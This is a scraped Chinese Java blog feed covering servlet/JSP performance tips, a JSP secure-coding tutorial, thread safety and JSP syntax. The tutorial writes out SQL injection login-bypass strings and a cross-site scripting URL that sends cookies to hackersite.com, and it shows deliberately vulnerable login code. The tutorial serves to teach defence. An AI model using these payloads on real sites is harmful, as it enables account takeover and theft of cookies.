Servlet、Jsp性能優化http://www.tkk7.com/xixidabao/archive/2006/09/11/69027.htmlJAVA之路JAVA之路Mon, 11 Sep 2006 12:53:00 GMThttp://www.tkk7.com/xixidabao/archive/2006/09/11/69027.html Servlet、Jsp性能優化 作者:Rahul Chaudhary ,gagaghost
?

你的J2EE應用是不是運行的很慢?它們能不能承受住不斷上升的訪問量?本文講述了開發高性能、高彈性的JSP頁面和Servlet的性能優化技術。其意思是建立盡可能快的并能適應數量增長的用戶及其請求。在本文中,我將帶領你學習已經實踐和得到證實的性能調整技術,它將大大地提高你的servlet和jsp頁面的性能,進而提升J2EE的性能。這些技術的部分用于開發階段,例如,設計和編碼階段。另一部分技術則與配置相關。

技術1:在HttpServlet init()方法中緩存數據

服務器會在創建servlet實例之后和servlet處理任何請求之前調用servlet的init()方法。該方法在servlet的生命周期中僅調用一次。為了提高性能,在init()中緩存靜態數據或完成要在初始化期間完成的代價昂貴的操作。例如,一個最佳實踐是使用實現了javax.sql.DataSource接口的JDBC連接池。DataSource從JNDI樹中獲得。每調用一次SQL就要使用JNDI查找DataSource是非常昂貴的工作,而且嚴重影響了應用的性能。Servlet的init()方法可以用于獲取DataSource并緩存它以便之后的重用:


public class ControllerServlet extends HttpServlet
{
   private javax.sql.DataSource testDS = null;

   public void init(ServletConfig config) throws ServletException
   {
      super.init(config);
      Context ctx  = null;
      try
      {
         ctx = new InitialContext();
         testDS = (javax.sql.DataSource)ctx.lookup("jdbc/testDS");
      }
      catch(NamingException ne)
      {
         ne.printStackTrace();              
       }
       catch(Exception e)
       {
          e.printStackTrace();
       }
   }

   public javax.sql.DataSource getTestDS()
      {
         return testDS;
      }
   ...
   ...
}


技術2:禁用servlet和Jsp的自動裝載功能

當每次修改了Servlet/JSP之后,你將不得不重新啟動服務器。由于自動裝載功能減少開發時間,該功能被認為在開發階段是非常有用的。但是,它在運行階段是非常昂貴的;servlet/JSP由于不必要的裝載,增加類裝載器的負擔而造成很差的性能。同樣,這會使你的應用由于已被某種類裝載器裝載的類不能和當前類裝載器裝載的類不能相互協作而出現奇怪的沖突現象。因此,在運行環境中為了得到更好的性能,關閉servlet/JSP的自動裝載功能。

技術3:控制HttpSession

許多應用需要一系列客戶端的請求,因此他們能互相相關聯。由于HTTP協議是無狀態的,所以基于Web的應用需要負責維護這樣一個叫做session的狀態。為了支持必須維護狀態的應用,Java servlet技術提供了管理session和允許多種機制實現session的API。HttpSession對象扮演了session,但是使用它需要成本。無論何時HttpSession被使用和重寫,它都由servlet讀取。你可以通過使用下面的技術來提高性能:

  • 在JSP頁面中不要創建默認的HttpSession:默認情況下,JSP頁面創建HttpSession。如果你在JSP頁面中不用HttpSession,為了節省性能開銷,使用下邊的頁面指令可以避免自動創建HttpSession對象:
    ]]>
  • 不要將大的對象圖存儲在HttpSession中:如果你將數據當作一個大的對象圖存儲在HttpSession中,應用服務器每次將不得不處理整個HttpSession對象。這將迫使Java序列化和增加計算開銷。由于序列化的開銷,隨著存儲在HttpSession對象中數據對象的增大,系統的吞吐量將會下降。
  • 用完后釋放HttpSession:當不在使用HttpSession時,使用HttpSession.invalidate()方法使sesion失效。
  • 設置超時值:一個servlet引擎有一個默認的超時值。如果你不刪除session或者一直把session用到它超時的時候,servlet引擎將把session從內存中刪除。由于在內存和垃圾收集上的開銷,session的超時值越大,它對系統彈性和性能的影響也越大。試著將session的超時值設置的盡可能低。

    技術4:使用gzip壓縮

    壓縮是刪除冗余信息的作法,用盡可能小的空間描述你的信息。使用gzip(GNU zip)壓縮文檔能有效地減少下載HTML文件的時間。你的信息量越小,它們被送出的速度越快。因此,如果你壓縮了由你web應用產生的內容,它到達用戶并顯示在用戶屏幕上的速度就越快。不是任何瀏覽器都支持gzip壓縮的,但檢查一個瀏覽器是否支持它并發送gzip壓縮內容到瀏覽器是很容易的事情。下邊的代碼段說明了如何發送壓縮的內容。

    
    public void doGet(HttpServletRequest request, HttpServletResponse response)
              throws IOException, ServletException
    {
              
       OutputStream out = null
    
       // Check the Accepting-Encoding header from the HTTP request.
       // If the header includes gzip, choose GZIP.
       // If the header includes compress, choose ZIP.
       // Otherwise choose no compression.
    
       String encoding = request.getHeader("Accept-Encoding");    
          
       if (encoding != null && encoding.indexOf("gzip") != -1)
       {
           response.setHeader("Content-Encoding" , "gzip");
           out = new GZIPOutputStream(response.getOutputStream());
       }
       else if (encoding != null && encoding.indexOf("compress") != -1)
       {
           response.setHeader("Content-Encoding" , "compress");
           out = new ZIPOutputStream(response.getOutputStream());
       }
       else
       {
           out = response.getOutputStream();
    
       }
       ...
       ...


    }

    技術5:不要使用SingleThreadModel


    SingleThreadModel保證servlet一次僅處理一個請求。如果一個servlet實現了這個接口,servlet引擎將為每個新的請求創建一個單獨的servlet實例,這將引起大量的系統開銷。如果你需要解決線程安全問題,請使用其他的辦法替代這個接口。SingleThreadModel在Servlet 2.4中是不再提倡使用。

    技術6:使用線程池

    servlet引擎為每個請求創建一個單獨的線程,將該線程指派給service()方法,然后在service()方法執行完后刪除該線程。默認情況下,servlet引擎可能為每個請求創建一個新的線程。由于創建和刪除線程的開銷是很昂貴的,于是這種默認行為降低了系統的性能。我們可以使用線程池來提高性能。根據預期的并發用戶數量,配置一個線程池,設置好線程池里的線程數量的最小和最大值以及增長的最小和最大值。起初,servlet引擎創建一個線程數與配置中的最小線程數量相等的線程池。然后servlet引擎把池中的一個線程指派給一個請求而不是每次都創建新的線程,完成操作之后,servlet引擎把線程放回到線程池中。使用線程池,性能可以顯著地提高。如果需要,根據線程的最大數和增長數,可以創建更多的線程。

    技術7:選擇正確的包括機制

    在JSP頁面中,有兩中方式可以包括文件:包括指令(<%@ include file="test.jsp" %> )和包括動作( )。包括指令在編譯階段包括一個指定文件的內容;例如,當一個頁面編譯成一個servlet時。包括動作是指在請求階段包括文件內容;例如,當一個用戶請求一個頁面時。包括指令要比包括動作快些。因此除非被包括的文件經常變動,否則使用包括指令將會獲得更好的性能。

    技術8:在useBean動作中使用合適的范圍

    使用JSP頁面最強大方式之一是和JavaBean組件協同工作。JavaBean使用 標簽可以嵌入到JSP頁面中。語法如下:

    
    <jsp:useBean id="name" scope="page|request|session|application" class=
      "package.className" type="typeName">
    </jsp:useBean>


    scope屬性說明了bean的可見范圍。scope屬性的默認值是page。你應該根據你應用的需求選擇正確的范圍,否則它將影響應用的性能。

    例如,如果你需要一個專用于某些請求的對象,但是你把范圍設置成了session,那么那個對象將在請求結束之后還保留在內存中。它將一直保留在內存中除非你明確地把它從內存中刪除、使session無效或session超時。如果你沒有選擇正確的范圍屬性,由于內存和垃圾收集的開銷將會影響性能。因此為對象設置合適的范圍并在用完它們之后立即刪除。

    雜項技術
  • 避免字符串連接:由于String對象是不可變對象,使用“+”操作符將會導致創建大量的零時對象。你使用的“+”越多,產出的零時對象就越多,這將影響性能。當你需要連接字符串時,使用StringBuffer替代“+”操作。
  • 避免使用System.out.println:System.out.println同步處理磁盤輸入/輸出,這大大地降低了系統吞吐量。盡可能地避免使用System.out.println。盡管有很多成熟的調試工具可以用,但有時System.out.println為了跟蹤、或調試的情況下依然很有用。你應該配置System.out.println僅在錯誤和調試階段打開它。使用final Boolean型的變量,當配置成false時,在編譯階段完成優化檢查和執行跟蹤輸出。
  • ServletOutputStream 與 PrintWriter比較:由于字符輸出流和把數據編碼成字節,使用PrintWriter引入了小的性能開銷。因此,PrintWriter應該用在所有的字符集都正確地轉換做完之后。另一方面,當你知道你的servlet僅返回二進制數據,使用ServletOutputStream,因為servlet容器不編碼二進制數據,這樣你就能消除字符集轉換開銷。

    總結

    本文的目的是展示給你一些實踐的和已經證實的用于提高servlet和JSP性能的性能優化技術,這些將提高你的J2EE應用的整體性能。下一步應該觀察其他相關技術的性能調整,如EJB、JMS和JDBC等。

    作者Email:gagaghost@yahoo.com.cn
]]>

JAVA之路 2006-09-11 20:53 發表評論
]]>
JSP安全編程實例淺析(中級)2http://www.tkk7.com/xixidabao/archive/2006/09/11/69025.htmlJAVA之路JAVA之路Mon, 11 Sep 2006 12:47:00 GMThttp://www.tkk7.com/xixidabao/archive/2006/09/11/69025.html JSP安全編程實例淺析(中級)2 作者:Stone_Star
 

四、時刻牢記SQL注入

一般的編程書籍在教初學者的時候都不注意讓他們從入門時就培養安全編程的習慣。著名的《JSP編程思想與實踐》就是這樣向初學者示范編寫帶數據庫的登錄系統的(數據庫為MySQL):


                                    Statement stmt = conn.createStatement();
                                    String checkUser = "select * from login where username = '
                                    "+ userName +"'and userpassword = '"+ userPassword +"'";
                                    ResultSet rs = stmt.executeQuery(checkUser);
                                    if(rs.next())
                                    response.sendRedirect("SuccessLogin.jsp");
                                    else
                                    response.sendRedirect("FailureLogin.jsp");


這樣使得盡信書的人長期使用這樣先天“帶洞”的登錄代碼。如果數據庫里存在一個名叫“jack”的用戶,那么在不知道密碼的情況下至少有下面幾種方法可以登錄:
用戶名:jack
密碼:' or 'a'='a
用戶名:jack
密碼:' or 1=1/*
用戶名:jack' or 1=1/*
密碼:(任意)

lybbs(凌云論壇)ver 2.9.Server在LogInOut.java中是這樣對登錄提交的數據進行檢查的:


                                    if(s.equals("") ││ s1.equals(""))
                                    throw new UserException("用戶名或密碼不能空。");
                                    if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
                                    throw new UserException("用戶名不能包括 ' \" \\ , 等非法字符。");
                                    if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
                                    throw new UserException("密碼不能包括 ' \" \\ * 等非法字符。");
                                    if(s.startsWith(" ") ││ s1.startsWith(" "))
                                    throw new UserException("用戶名或密碼中不能用空格。");


但是我不清楚為什么他只對密碼而不對用戶名過濾星號。另外,正斜杠似乎也應該被列到“黑名單”中。我還是認為用正則表達式只允許輸入指定范圍內的字符來得干脆。

這里要提醒一句:不要以為可以憑借某些數據庫系統天生的“安全性”就可以有效地抵御所有的攻擊。pinkeyes的那篇《PHP注入實例》就給那些依賴PHP的配置文件中的“magic_quotes_gpc = On”的人上了一課。

五、String對象帶來的隱患

Java平臺的確使安全編程更加方便了。Java中無指針,這意味著 Java 程序不再像C那樣能對地址空間中的任意內存位置尋址了。在JSP文件被編譯成 .class 文件時會被檢查安全性問題,例如當訪問超出數組大小的數組元素的嘗試將被拒絕,這在很大程度上避免了緩沖區溢出攻擊。但是,String對象卻會給我們帶來一些安全上的隱患。如果密碼是存儲在 Java String 對象中的,則直到對它進行垃圾收集或進程終止之前,密碼會一直駐留在內存中。即使進行了垃圾收集,它仍會存在于空閑內存堆中,直到重用該內存空間為止。密碼 String 在內存中駐留得越久,遭到竊聽的危險性就越大。更糟的是,如果實際內存減少,則操作系統會將這個密碼 String 換頁調度到磁盤的交換空間,因此容易遭受磁盤塊竊聽攻擊。為了將這種泄密的可能性降至最低(但不是消除),您應該將密碼存儲在 char 數組中,并在使用后對其置零(String 是不可變的,無法對其置零)。

六、線程安全初探

“JAVA能做的,JSP就能做”。與ASP、PHP等腳本語言不一樣,JSP默認是以多線程方式執行的。以多線程方式執行可大大降低對系統的資源需求,提高系統的并發量及響應時間。線程在程序中是獨立的、并發的執行路徑,每個線程有它自己的堆棧、自己的程序計數器和自己的局部變量。雖然多線程應用程序中的大多數操作都可以并行進行,但也有某些操作(如更新全局標志或處理共享文件)不能并行進行。如果沒做好線程的同步,在大并發量訪問時,不需要惡意用戶的“熱心參與”,問題也會出現。最簡單的解決方案就是在相關的JSP文件中加上: <%@ page isThreadSafe="false" %>指令,使它以單線程方式執行,這時,所有客戶端的請求以串行方式執行。這樣會嚴重降低系統的性能。我們可以仍讓JSP文件以多線程方式執行,通過對函數上鎖來對線程進行同步。一個函數加上synchronized 關鍵字就獲得了一個鎖。看下面的示例:


                                    public class MyClass{
                                    int a;
                                    public Init() {//此方法可以多個線程同時調用
                                    a = 0;
                                    }
                                    public synchronized void Set() {//兩個線程不能同時調用此方法
                                    if(a>5) {
                                    a= a-5;
                                    }
                                    }
                                    }


但是這樣仍然會對系統的性能有一定影響。一個更好的方案是采用局部變量代替實例變量。因為實例變量是在堆中分配的,被屬于該實例的所有線程共享,不是線程安全的,而局部變量在堆棧中分配,因為每個線程都有它自己的堆棧空間,所以這樣線程就是安全的了。比如凌云論壇中添加好友的代碼:


                                    public void addFriend(int i, String s, String s1)
                                    throws DBConnectException
                                    {
                                    try
                                    {
                                    if……
                                    else
                                    {
                                    DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
                                    dbconnect.setInt(1, i);
                                    dbconnect.setString(2, s);
                                    dbconnect.executeUpdate();
                                    dbconnect.close();
                                    dbconnect = null;
                                    }
                                    }
                                    catch(Exception exception)
                                    {
                                    throw new DBConnectException(exception.getMessage());
                                    }
                                    }


下面是調用:


                                    friendName=ParameterUtils.getString(request,"friendname");
                                    if(action.equals("adduser")) {
                                    forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
                                    errorInfo=forumFriend.getErrorInfo();
                                    }


如果采用的是實例變量,那么該實例變量屬于該實例的所有線程共享,就有可能出現用戶A傳遞了某個參數后他的線程轉為睡眠狀態,而參數被用戶B無意間修改,造成好友錯配的現象。

參考文獻:

Jordan Dimov:《JSP Security》
developerWorks:《Java安全性》
徐春金:編寫線程安全的JSP程序



JAVA之路 2006-09-11 20:47 發表評論
]]>
JSP安全編程實例淺析(中級)1http://www.tkk7.com/xixidabao/archive/2006/09/11/69022.htmlJAVA之路JAVA之路Mon, 11 Sep 2006 12:33:00 GMThttp://www.tkk7.com/xixidabao/archive/2006/09/11/69022.html JSP安全編程實例淺析(中級)1 <轉載>作者:Stone_Star

Java Server Page(JSP)作為建立動態網頁的技術正在不斷升溫。JSP和ASP、PHP、工作機制不太一樣。一般說來,JSP頁面在執行時是編譯式,而不是解釋式的。首次調用JSP文件其實是執行一個編譯為Servlet的過程。當瀏覽器向服務器請求這一個JSP文件的時候,服務器將檢查自上次編譯后JSP文件是否有改變,如果沒有改變,就直接執行Servlet,而不用再重新編譯,這樣,效率便得到了明顯提高。

今天我將和大家一起從腳本編程的角度看JSP的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內了。寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒,從一開始就要培養安全編程的意識,不要犯不該犯的錯誤,避免可以避免的損失。另外,我也是初學者,如有錯誤或其它意見請賜教。

一、認證不嚴——低級失誤

在溢洋論壇v1.12 修正版中,user_manager.jsp是用戶管理的頁面,作者知道它的敏感性,加上了一把鎖:


if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││
(! session.getValue("UserClass").equals("系統管理員"))) 
{ 
response.sendRedirect("err.jsp?id=14"); 
return; 
}


如果要查看、修改某用戶的信息,就要用modifyuser_manager.jsp這個文件。管理員提交 http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51

就是查看、修改ID為51的用戶的資料(管理員默認的用戶ID為51)。但是,如此重要的文件竟缺乏認證,普通用戶(包括游客)也直接提交上述請求也可以對其一覽無余(密碼也是明文存儲、顯示的)。modifyuser_manage.jsp同樣是門戶大開,直到惡意用戶把數據更新的操作執行完畢,重定向到user_manager.jsp的時候,他才會看見那個姍姍來遲的顯示錯誤的頁面。顯然,只鎖一扇門是遠遠不夠的,編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。

二、守好JavaBean的入口

JSP組件技術的核心是被稱為bean的java組件。在程序中可把邏輯控制、數據庫操作放在javabeans組件中,然后在JSP文件中調用它,這樣可增加程序的清晰度及程序的可重用性。和傳統的ASP或PHP頁面相比,JSP頁面是非常簡潔的,因為許多動態頁面處理過程可以封裝到JavaBean中。

要改變JavaBean屬性,要用到“ ”標記。 下面的代碼是假想的某電子購物系統的源碼的一部分,這個文件是用來顯示用戶的購物框中的信息的,而checkout.jsp是用來結帳的。


<jsp:useBean id="myBasket" class="BasketBean"> 
<jsp:setProperty name="myBasket" property="*"/> 
<jsp:useBean> 
<html> 
<head><title>Your Basket</title></head> 
<body> 
<p> 
You have added the item 
<jsp::getProperty name="myBasket" property="newItem"/> 
to your basket.   
<br/> 
Your total is $ 
<jsp::getProperty name="myBasket" property="balance"/> 
Proceed to <a href="checkout.jsp">checkout</a>


注意到property="*"了嗎?這表明用戶在可見的JSP頁面中輸入的,或是直接通過Query String提交的全部變量的值,將存儲到匹配的bean屬性中。

一般,用戶是這樣提交請求的: http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342 但是不守規矩的用戶呢?他們可能會提交: http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

這樣,balance=0的信息就被在存儲到了JavaBean中了。當他們這時點擊“chekout”結賬的時候,費用就全免了。

這與PHP中全局變量導致的安全問題如出一轍。由此可見:“property="*"”一定要慎用!

三、長盛不衰的跨站腳本

跨站腳本(Cross Site Scripting)攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設置,破壞用戶的數據。跨站腳本攻擊在多數情況下不會對服務器和WEB程序的運行造成影響,但對客戶端的安全構成嚴重的威脅。

以仿動網的阿菜論壇(beta-1)舉個最簡單的例子。當我們提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie) 便能彈出包含自己cookie信息的對話框。而提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com' 就能重定向到網易。

由于在返回“name”變量的值給客戶端時,腳本沒有進行任何編碼或過濾惡意代碼,當用戶訪問嵌入惡意“name”變量數據鏈接時,會導致腳本代碼在用戶瀏覽器上執行,可能導致用戶隱私泄露等后果。比如下面的鏈接:
http://www.somesite.com/acjspbbs/dispuser.jsp? name=someuser<;script>document.location=' http://www.hackersite.com/xxx.xxx?'+document.cookie

xxx.xxx用于收集后邊跟的參數,而這里參數指定的是document.cookie,也就是訪問此鏈接的用戶的cookie。在ASP世界中,很多人已經把偷cookie的技術練得爐火純青了。在JSP里,讀取cookie也不是難事。當然,跨站腳本從來就不會局限于偷cookie這一項功能,相信大家都有一定了解,這里就不展開了。

對所有動態頁面的輸入和輸出都應進行編碼,可以在很大程度上避免跨站腳本的攻擊。遺憾的是,對所有不可信數據編碼是資源密集型的工作,會對 Web 服務器產生性能方面的影響。常用的手段還是進行輸入數據的過濾,比如下面的代碼就把危險的字符進行替換:


<% String message = request.getParameter("message"); 
message = message.replace ('<','_'); 
message = message.replace ('>','_'); 
message = message.replace ('"','_'); 
message = message.replace ('\'','_'); 
message = message.replace ('%','_'); 
message = message.replace (';','_'); 
message = message.replace ('(','_'); 
message = message.replace (')','_'); 
message = message.replace ('&','_'); 
message = message.replace ('+','_'); %>


更積極的方式是利用正則表達式只允許輸入指定的字符:


public boolean isValidInput(String str) 
{ 
if(str.matches("[a-z0-9]+")) return true; 
else return false; 
}

 



JAVA之路 2006-09-11 20:33 發表評論
]]>
Servlet及JSP中的多線程同步問題http://www.tkk7.com/xixidabao/archive/2006/06/18/53635.htmlJAVA之路JAVA之路Sun, 18 Jun 2006 13:04:00 GMThttp://www.tkk7.com/xixidabao/archive/2006/06/18/53635.html

Servlet及JSP中的多線程同步問題
作者:srx81 發文時間:2003.08.25 15:14:25 來 源: Java研究組織(JavaResearch)
  Servlet/JSP技術和ASP、PHP等相比,由于其多線程運行而具有很高的執行效率。由于Servlet/JSP默認是以多線程模式執行的,所以,在編寫代碼時需要非常細致地考慮多線程的同步問題。然而,很多人編寫Servlet/JSP程序時并沒有注意到多線程同步的問題,這往往造成編寫的程序在少量用戶訪問時沒有任何問題,而在并發用戶上升到一定值時,就會經常出現一些莫明其妙的問題,對于這類隨機性的問題調試難度也很大。

  一、在Servlet/JSP中的幾種變量類型

  在編寫Servlet/JSP程序時,對實例變量一定要小心使用。因為實例變量是非線程安全的。在Servlet/JSP中,變量可以歸為下面的幾類:

  1. 類變量

  request,response,session,config,application,以及JSP頁面內置的page, pageContext。其中除了application外,其它都是線程安全的。

  2. 實例變量

  實例變量是實例所有的,在堆中分配。在Servlet/JSP容器中,一般僅實例化一個Servlet/JSP實例,啟動多個該實例的線程來處理請求。而實例變量是該實例所有的線程所共享,所以,實例變量不是線程安全的。

  3. 局部變量

  局部變量在堆棧中分配,因為每一個線程有自己的執行堆棧,所以,局部變量是線程安全的。

  二、在Servlet/JSP中的多線程同步問題

  在JSP中,使用實例變量要特別謹慎。首先請看下面的代碼:

// instanceconcurrenttest.jsp
<%@ page contentType="text/html;charset=GBK" %>
<%!	
    //定義實例變量	
    String username;	
    String password;
    java.io.PrintWriter output;
%>
<%	
    //從request中獲取參數
    username = request.getParameter("username");
    password = request.getParameter("password");
    output = response.getWriter();
    showUserInfo();	
 %>
 <%!	
    public void showUserInfo() {		
       //為了突出并發問題,在這兒首先執行一個費時操作		
       int i =0;		
       double sum = 0.0;		
       while (i++ < 200000000) {
             sum += i;		
       }				
       
       output.println(Thread.currentThread().getName() + "<br>");
       output.println("username:" + username + "<br>");	
       output.println("password:" + password + "<br>");	
    }
 %>


  在這個頁面中,首先定義了兩個實例變量,username和password。然后在從request中獲取這兩個參數,并調用showUserInfo()方法將請求用戶的信息回顯在該客戶的瀏覽器上。在一個用戶訪問是,不存在問題。但在多個用戶并發訪問時,就會出現其它用戶的信息顯示在另外一些用戶的瀏覽器上的問題。這是一個嚴重的問題。為了突出并發問題,便于測試、觀察,我們在回顯用戶信息時執行了一個模擬的費時操作,比如,下面的兩個用戶同時訪問(可以啟動兩個IE瀏覽器,或者在兩臺機器上同時訪問):

a: http://localhost:8080/instanceconcurrenttest.jsp?username=a&password=123

b: http://localhost:8080/instanceconcurrenttest.jsp?username=b&password=456

如果a點擊鏈接后,b再點擊鏈接,那么,a將返回一個空白屏幕,b則得到a以及b兩個線程的輸出。請看下面的屏幕截圖:



圖1:a的屏幕




圖2:b的屏幕


  從運行結果的截圖上可以看到,Web服務器啟動了兩個線程分別來處理來自a和b的請求,但是在a卻得到一個空白的屏幕。這是因為上面程序中的output, username和password都是實例變量,是所有線程共享的。在a訪問該頁面后,將output設置為a的輸出,username,password分別置為a的信息,而在a執行printUserInfo()輸出username和password信息前,b又訪問了該頁面,把username和password置為了b的信息,并把輸出output指向到了b。隨后a的線程打印時,就打印到了b的屏幕了,并且,a的用戶名和密碼也被b的取代。請參加下圖所示:



圖3:a、b兩個線程的時間線


  而實際程序中,由于設置實例變量,使用實例變量這兩個時間點非常接近,所以,像本例的同步問題并沒有這么突出,可能會偶爾出現,但這卻更加具有危險性,也更加難于調試。

  同樣,對于Servlet也存在實例變量的多線程問題,請看上面頁面的Servlet版:

// InstanceConcurrentTest.java
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.PrintWriter;
public class InstanceConcurrentTest extends HttpServlet
 {	
      String username;	
      String password;	
      PrintWriter out;	
      public void doGet(HttpServletRequest request, 
       HttpServletResponse response)          
       throws ServletException,java.io.IOException	
       {		
           //從request中獲取參數		
	   username = request.getParameter("username");
	   password = request.getParameter("password");	
	   System.out.println(Thread.currentThread().getName() +
	    " | set username:" + username);
	   out = response.getWriter();	
	   showUserInfo();		
       }	
       public void showUserInfo() {		
           //為了突出并發問題,在這兒首先執行一個費時操作		
	   int i =0;		
	   double sum = 0.0;		
	   while (i++ < 200000000) {	
	     sum += i;		
	   }		
	   out.println("thread:" + Thread.currentThread().getName());
	   out.println("username:"+ username);	
	   out.println("password:" + password);	
	}
}


  三、解決方案

  1. 以單線程運行Servlet/JSP

  在JSP中,通過設置:<%@ page isThreadSafe="false" %>,在Servlet中,通過實現javax.servlet.SingleThreadModel,此時Web容器將保證JSP或Servlet實例以單線程方式運行。

  重要提示:在測試中發現,Tomcat 4.1.17不能正確支持isThreadSafe屬性,所以,指定isTheadSafe為false后,在Tomcat 4.1.17中仍然出現多線程問題,這是Tomcat 4.1.17的Bug。在Tomcat 3.3.1和Resin 2.1.5中測試通過。

  2. 去除實例變量,通過參數傳遞

  從上面的分析可見,應該在Servlet/JSP中盡量避免使用實例變量。比如,下面的修正代碼,去除了實例變量,通過定義局部變量,并參數進行傳遞。這樣,由于局部變量是在線程的堆棧中進行分配的,所以是線程安全的。不會出現多線程同步的問題。代碼如下:

<%@ page contentType="text/html;charset=GBK" %>
<%	
    //使用局部變量
    String username;
    String password;
    java.io.PrintWriter output;
    //從request中獲取參數
    username = request.getParameter("username");
    password = request.getParameter("password");
    output = response.getWriter();
    showUserInfo(output, username, password);
%>
<%!	
    public void showUserInfo(java.io.PrintWriter _output,
     String _username, String _password) {
    //為了突出并發問題,在這兒首先執行一個費時操作
      int i =0;	
      double sum = 0.0;	
      while (i++ < 200000000) {	
        sum += i;		
      }				
      _output.println(Thread.currentThread().getName() + "<br>");
      _output.println("username:" + _username + "<br>");
      _output.println("password:" + _password + "<br>");
      }
%>


注:有的資料上指出在printUserInfo()方法或者實例變量的相關操作語句上使用synchronized關鍵字進行同步,但這樣并不能解決多線程的問題。因為,這樣雖然可以使對實例變量的操作代碼進行同步,但并不能阻止一個線程使用另外一個線程修改后的“臟的”實例變量。所以,除了降低運行效率外,不會起到預期效果。


JAVA之路 2006-06-18 21:04 發表評論
]]>
JSP 語法最詳解http://www.tkk7.com/xixidabao/archive/2006/05/10/45557.htmlJAVA之路JAVA之路Wed, 10 May 2006 14:51:00 GMThttp://www.tkk7.com/xixidabao/archive/2006/05/10/45557.htmlHTML?注釋?

在客戶端顯示一個注釋.?

JSP?語法
<!--?comment?[?<%=?expression?%>?]?-->?
例子?1
<!--?This?file?displays?the?user?login?screen?-->?
在客戶端的HTML源代碼中產生和上面一樣的數據:?

<!--?This?file?displays?the?user?login?screen?-->?
例子?2
<!--?This?page?was?loaded?on?<%=?(new?java.util.Date()).toLocaleString()?%>?-->?
在客戶端的HTML源代碼中顯示為:?

<!--?This?page?was?loaded?on?January?1,?2000?-->?
描述
這種注釋和HTML中很像,也就是它可以在"查看源代碼\"中看到.?

唯一有些不同的就是,你可以在這個注釋中用表達式(例子2所示).這個表達示是不定的,由頁面不同而不同,你能夠使用各種表達式,只要是合法的就行。更多的請看表達式



隱藏注釋?


寫在JSP程序中,但不是發給客戶。?

JSP?語法
<%--?comment?--%>?
例子:
CODE:

<%@?page?language="java"?%>?
<html>?
<head><title>A?Comment?Test</title></head>?
<body>?
<h2>A?Test?of?Comments</h2>?
<%--?This?comment?will?not?be?visible?in?the?page?source?--%>?
</body>?
</html>?


描述
用隱藏注釋標記的字符會在JSP編譯時被忽略掉。這個注釋在你希望隱藏或注釋你的JSP程序時是很有用的。JSP編譯器不是會對<%--and--%>之間的語句進行編譯的,它不會顯示在客戶的瀏覽器中,也不會在源代碼中看到?

聲明?


在JSP程序中聲明合法的變量和方法?

JSP?語法
<%!?declaration;?[?declaration;?]+?...?%>?
例子
<%!?int?i?=?0;?%>?
<%!?int?a,?b,?c;?%>?
<%!?Circle?a?=?new?Circle(2.0);?%>?
描述
聲明你將要在JSP程序中用到的變量和方法。你也必須這樣做,不然會出錯.?

你可以一次性聲明多個變量和方法,只要以";"結尾就行,當然這些聲明在Java中要是合法的。?

當你聲明方法或變量時,請注意以下的一些規則:?

聲明必須以";"結尾(Scriptlet有同樣的規則,但是?表達式就不同了).?
你可以直接使用在<%?@?page?%>中被包含進來的已經聲明的變量和方法,不需要對它們重新進行聲明.?
一個聲明僅在一個頁面中有效。如果你想每個頁面都用到一些聲明,最好把它們寫成一個單獨的文件,然后用<%@?include?%>或<jsp:include?>元素包含進來。?


表達式?


包含一個符合JSP語法的表達式?

JSP?語法
<%=?expression?%>?
例子
<font?color="blue"><%=?map.size()?%></font>?
<b><%=?numguess.getHint()?%></b>.?
描述
表達式元素表示的是一個在腳本語言中被定義的表達式,在運行后被自動轉化為字符串,然后插入到這個表達示在JSP文件的位置顯示。因為這個表達式的值已經被轉化為字符串,所以你能在一行文本中插入這個表達式(形式和ASP完全一樣).?

當你在JSP中使用表達式時請記住以下幾點:?

你不能用一個分號(";")來作為表達式的結束符.但是同樣的表達式用在scriptlet中就需要以分號來結尾了!查看Scriptlet?
這個表達式元素能夠包括任何在Java?Language?Specification中有效的表達式.?
有時候表達式也能做為其它JSP元素的屬性值.一個表達式能夠變得很復雜,它可能由一個或多個表達式組成,這些表達式的順序是從左到右。?


[/b]Scriptlet?[/b]


包含一個有效的程序段.?

JSP?語法
<%?code?fragment?%>?
例子
<%?
String?name?=?null;?
if?(request.getParameter("name")?==?null)?{?
%>?
<%@?include?file="error.html"?%>?
<%?
}?else?{?
foo.setName(request.getParameter("name"));?
if?(foo.getName().equalsIgnoreCase("integra"))?
name?=?"acura";?
if?(name.equalsIgnoreCase(?"acura"?))?{?
%>?
描述
一個scriptlet能夠包含多個jsp語句,方法,變量,表達式?

因為scriptlet,我們便能做以下的事:?

聲明將要用到的變量或方法(參考?聲明).?
編寫JSP表達式(參考?表達式).?
使用任何隱含的對象和任何用<jsp:useBean>聲明過的對象?
編寫JSP語句?(如果你在使用Java語言,這些語句必須遵從Java?Language?Specification,).?
任何文本,HTML標記,JSP元素必須在scriptlet之外?
當JSP收到客戶的請求時,scriptlet就會被執行,如果scriptlet有顯示的內容,這些顯示的內容就被存在out對象中。?


Include?指令


在JSP中包含一個靜態的文件,同時解析這個文件中的JSP語句.?

JSP?語法
<%@?include?file="relativeURL"?%>?
例子
include.jsp:?
CODE:

<html>?
<head><title>An?Include?Test</title></head>?
<body?bgcolor="white">?
<font?color="blue">?
The?current?date?and?time?are?
<%@?include?file="date.jsp"?%>?
</font>?
</body>?
</html>?


date.jsp:
CODE:
?
<%@?page?import="java.util.*"?%>?
